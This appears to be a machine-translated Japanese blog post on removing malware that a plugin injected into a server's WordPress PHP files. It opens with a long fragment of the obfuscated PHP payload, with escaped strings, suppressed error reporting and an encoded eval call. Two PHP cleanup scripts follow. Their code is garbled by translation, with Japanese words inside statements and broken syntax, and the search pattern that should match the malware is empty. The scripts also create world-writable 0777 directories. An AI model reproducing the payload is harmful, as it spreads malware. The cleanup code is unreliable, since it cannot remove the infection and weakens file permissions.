WordpressのPHPファイルから悪意のあるコードを削除する

同社の Wordpress Web サイトの一部には、ダウンロードしたプラグインに悪意のあるコードが含まれており、その結果、サーバー全体のすべての Web サイトの PHP ファイルに悪意のあるコードが存在することになったので、それらを削除する簡単なスクリプトを作成しました。

!#]y3d]51]y35]256]y76 ]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf% 7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df# ^#zsfvrx5c%x7827&6hmg%x5c%x7825!j %%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>21 5b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!:8:|:7# 6ufs!|ftmf!~!#]y81] 273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825%x5c%x782f7rfs%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-% 7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787fu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh% x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; 関数 f:h%x5c%x7825:!2p%x5c2fh%x5c%x7825:%x5c%x7825fdyUm%x5c%x5c %x7825!qp%x5c%x7825!|Z~!!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_* #fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57 %x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e %x5c%7827pd%x5c%x78256b%x5c%x7825 !* ##>>X)!gjZb%x5c%x7825!**X)ufttj%x7825c:>11%x5c%x782272qj%x5c%x7825)7gj6!}_;gvc% x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!>}R;msv}.;%x5c%x782f#%xc%x78b%x5c %x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**# j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!} %x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257 **^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd} R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825q5c%x7825)!gj!2bd%x5c%x7825!2qj%x5c% x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4>1?*2b%x5c%x7825)gpf{jt)!gj! :r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6] 72]K9]78]K5]53]KC#2*!%x5c%x7825z>3j%x5c%x7825!*72!% x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|! *nbsbq%x5c%x7825)323ldfidk!~!!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825) 3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbs s-%x5c% x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c %x78256%x5c%x7897e:56-%x5c%x7878r .985:52985c%x7825kj:-!OVMM*#L4]275L3]248L3P6L1M5]D2P4]D6#>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|% x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V>*4-1-bubE{h%x5c% x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j %x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334 }472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825) 5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>11%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_ %x5c%x785c}X%x5c%x782{66~6j%x5c%x7825!*3!%x5c%x7827c%x78256!#]y84]275]y83]273]y76]277#2b%x5c%7825%x5c%x7827Y%x5c%x78256<.msv>EzH,2W%x5c%x782 5wN ;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~2%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#

 * ファイル名: delUnwantedCode.php
 * 機能: FTP 内の悪意のあるコードを削除します
 * 使用方法:
 * 悪意のあるコードを削除する必要があるディレクトリにファイルをアップロードし、CLI またはブラウザを通じてアクセスしてください。元のファイルが感染している場合は、自動的にバックアップされます
*/


$path = dirname(__FILE__); #処理するディレクトリを定義します
$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'. php '); #ソース ファイルのバックアップ ディレクトリを定義します。プログラムは、最初に元のパスに従ってこのディレクトリにドキュメントをバックアップします
$fileType = array('php'); #ファイル タイプを定義します。処理する必要があるサフィックス名)、小文字
$search = array('@@si'); #フィルタリングが必要な悪意のあるコードのルールを定義します
$search_count = array(
 'all_file'=>array(), #すべてのファイル
 'search_file0' =>array(), #悪意のあるコードはありません File
 'search_file1'=>array() #悪意のあるコードを含むファイル
);


$filelist = listDir($path,$fileType,false);ディレクトリ内の修飾されたファイルのリスト
if(!empty ($filelist)){
 foreach ($filelist as $file){
 $file = (isset($file['name'])?$file['name' ]:$file);
 $search_count['all_file '][] = $file;
 $fileContent = file_get_contents($file);
 $compile_fileContent = preg_replace($search, '', $fileContent);
 if(strlen ($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
 #フィルタリング後のファイルの長さは矛盾しています。これは、悪意のあるコードが含まれていることを意味します（バックアップ ファイルが見つかった場合はフィルタリングされません)
 $search_count['search_file1'][] = $ file;

 ##########元のファイルのバックアップを開始します######## ######
 $bakFile = str_replace($path, $bak_path, $file );
 @make_dir(dirname($bakFile));
 @file_put_contents($bakFile, $fileContent);
 ##### #######元のファイルのバックアップの終了######## #######

 #フィルターされたコンテンツを元の PHP ファイルに書き換えます
 @file_put_contents($file, $compile_fileContent );
 }else{
 $search_count['search_file0'][] = $ file;
 }
 }
}

#print_r($search_count);die;
echo sprintf('合計 %s 個の修飾されたファイルは%s から検索されました。そのうち %s には悪意のあるコードが含まれており、処理は完了しました ',$path,count($search_count['all_file']), count($search_count['search_file1']));die;























#########################
## 補助function
################ ########

/**
 * 対象のフォルダーが存在するかどうかを確認し、存在しない場合はディレクトリを自動的に作成します
 *
 * @access public
 * @param string フォルダーのディレクトリ パス。 Web サイトのルートに対する相対 URL は使用できません
 *
 * @return bool
*/
function make_dir($folder){
 $reval = false;
 if (!file_exists($folder)){
 #ディレクトリが存在しない場合は、ディレクトリを作成してみます
 @umask(0);

 #ディレクトリ パスを配列に分割します
 preg_match_all('/([^ /]*)/?/i', $folder, $atmp);

 #If 最初の文字が / の場合、物理パスとして扱われます
 $base = ($atmp[0][0] = = '/') ? '/' : '';

 #パス情報を含む配列を走査します
 foreach ($atmp[1] AS $val){
 if ('' != $val){
 $base . = $val;
 if ('..' == $val || '.' == $val ){
 #ディレクトリが . または... の場合は、次のサイクルに直接追加/続行します
 $base 。 = '/';
 continue;
 }
 }else{
 continue;
 }

 $base .= '/ ';

 if (!file_exists($base)){
 #if ディレクトリを作成してみます作成は失敗します。ループを続行します
 if (@mkdir(rtrim($base, '/'), 0777)){
 @chmod( $base, 0777);
 $reval = true;
 }
 }
 }
 }else{
 #パスはすでに存在します。パスがディレクトリかどうかを返します
 $reval = is_dir($folder);
 }

 clearstatcache();

 return $reval;
}


######ディレクトリ内のすべてのファイルを取得します, サブディレクトリの先頭を含めます################
function listDir($path,$fileType=array(),$fileInfo=true){
 $path = str_replace(array( '/ ','\'), DIRECTORY_SEPARATOR, $path);
 if(!file_exists($path)||!is_dir($path)){
 return '';
 }
 if(substr($path, - 1, 1)==DIRECTORY_SEPARATOR){
 $path = substr($path, 0,-1);
 }
 $dirList=array();
 $dir=opendir($path);
 while($file= readdir( $dir)){
 #$fileType が定義されていて、ファイル タイプが $fileType の範囲内にない場合、またはファイルがディレクトリの場合は、
 if($file!=='.'&&$file!=) をスキップします。 ='.. '){
 $file = $path.DIRECTORY_SEPARATOR.$file;
 if(is_dir($file)){
 if(empty($fileType)){
 $dirList[] = ($fileInfo== true?array( 'name'=>$file,'isDir'=>intval(is_dir($file))):$file);
 }
 $dirList = array_merge($dirList,listDir($file,$ fileType));
 }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
 $dirList[] = ($fileInfo==true?array('name') =>$ file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=> ;filemtime($ file)):$file);
 }
 };
 };
 Closedir($dir);
 return $dirList;
}
######ディレクトリ内のすべてのファイルを取得します。サブディレクトリの末尾を含む# ###############

 * ファイル名: delAllUnwantedCode.php
 * 機能: FTP 内の悪意のあるコードを削除 (任意の数のファイル処理をサポート)
 * 使用方法:
 * 悪意のあるコードを削除する必要があるディレクトリにファイルをアップロードし、その後、CLI またはブラウザを使用してアクセスするだけで、元の感染ファイルが自動的にバックアップされます
*/
set_time_limit(0);ignore_user_abort(true);

$path = dirname(__FILE__); #処理が必要なディレクトリを定義します
$bak_path = $path .DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #ソース ファイルのバックアップ ディレクトリを定義します。プログラムが悪意のあるコードをフィルタリングする前に、最初に元のパスに従ってドキュメントをこのディレクトリにバックアップします
$fileType = array ('php'); #定義 処理するファイルの種類 (サフィックス名)、小文字
$search = array('@@si'); #フィルタリングが必要な悪意のあるコード ルールを定義します
$file_count = array(
 'all_file'=>0, #すべてのファイル
 'filter_file'=> 0 #悪意のあるコードを含むファイル
);

replaceUnwantedCode($path); #フィルタリングを実行

#print_r($search_count);die;
echo sprintf('合計 %条件を満たす s ファイルが %s から検索されました。悪意のあるコードを含む %s は削除され、元のファイルは %s',$path, ($file_count['all_file']), ($file_count) に保存されています['filter_file']), $bak_path);die;



function replaceUnwantedCode($path){
 global $bak_path,$fileType,$search,$file_count;
 $path = str_replace(array('/', '\'), DIRECTORY_SEPARATOR, $path);
 if(! file_exists($path)||!is_dir($path)){
 return '';
 }
 if(substr($path, -1,1) ==DIRECTORY_SEPARATOR){
 $path = substr($path, 0 ,-1);
 }
 $dir=opendir($path);
 while($file=readdir($dir)){
 #If $fileTypeが定義されており、ファイル タイプが $fileType の範囲内にないか、ファイルがディレクトリである場合は、
 if($file!=='.'&&$file!=='..'){
 $file = $ をスキップしてください。 path.DIRECTORY_SEPARATOR.$file;
 if(is_dir($file)){
 replaceUnwantedCode($file);
 }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType)) ){
 ############## #################
 @$file_count['all_file']++;
 $fileContent = file_get_contents($file); #元のコードをファイルする
 $compile_fileContent = preg_replace( $search, '', $fileContent); #フィルターされたコンテンツ
 if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
 # フィルタリング後のファイルの長さが一致しない場合は、悪意のあるコードが含まれていることを意味します (バックアップ ファイルが配置されているディレクトリはフィルタリングされていません)
 $file_count['filter_file ']++;

 ############元のファイルのバックアップを開始# ################
 $bakFile = str_replace($path, $ bak_path, $file);
 @make_dir(dirname($bakFile));
 @file_put_contents($bakFile, $fileContent );
 ############元のファイルのバックアップの終了## ############

 #フィルターされたコンテンツを元の PHP ファイルに書き換えます
 @file_put_contents($file, $compile_fileContent);
 }
 ############ ###################
 unset( $fileContent,$compile_fileContent);
 }
 };
 };
 Closedir($dir);
 return true;
}





################ ######
## 補助機能
############## ######

/**
 * 対象のフォルダーが存在するかどうかを確認し、存在しない場合はディレクトリを自動的に作成します
 *
 * @access public
 * @param string フォルダーのディレクトリ パス。 Web サイトのルートに対する相対 URL は使用できません
 *
 * @return bool
*/
function make_dir($folder){
 $reval = false;
 if (!file_exists($folder)){
 #ディレクトリが存在しない場合存在するので作成してみてください
 @umask(0);

 #ディレクトリパスを配列に分割します
 preg_match_all('/([^/]*)/?/i', $folder, $atmp);

 #最初の文字が / の場合、物理パスとして扱われます
 $base = ($atmp[0][0] == '/') ? '/' : '';

 #パスを含む配列を走査します情報
 foreach ($atmp[1] AS $val){
 if ('' != $val ){
 $base .= $val;
 if ('..' == $val || '.' = = $val){
 #ディレクトリが . または.. の場合、次のサイクルに直接追加/続行します
 $base .= '/';
 continue;
 }
 }else{
 continue;
 }

 $ base .= '/';

 if (!file_exists($base)){
 #ディレクトリを作成してみます、作成が失敗した場合はループを継続します
 if (@mkdir(rtrim($base, '/'), 0777 )){
 @chmod($base, 0777);
 $reval = true;
 }
 }
 }
 } else{
 #パスはすでに存在します。パスがディレクトリかどうかを返します
 $reval = is_dir($folder);
 }

 clearstatcache();

 return $reval;
}

悪意のあるコード、WordPress、PHP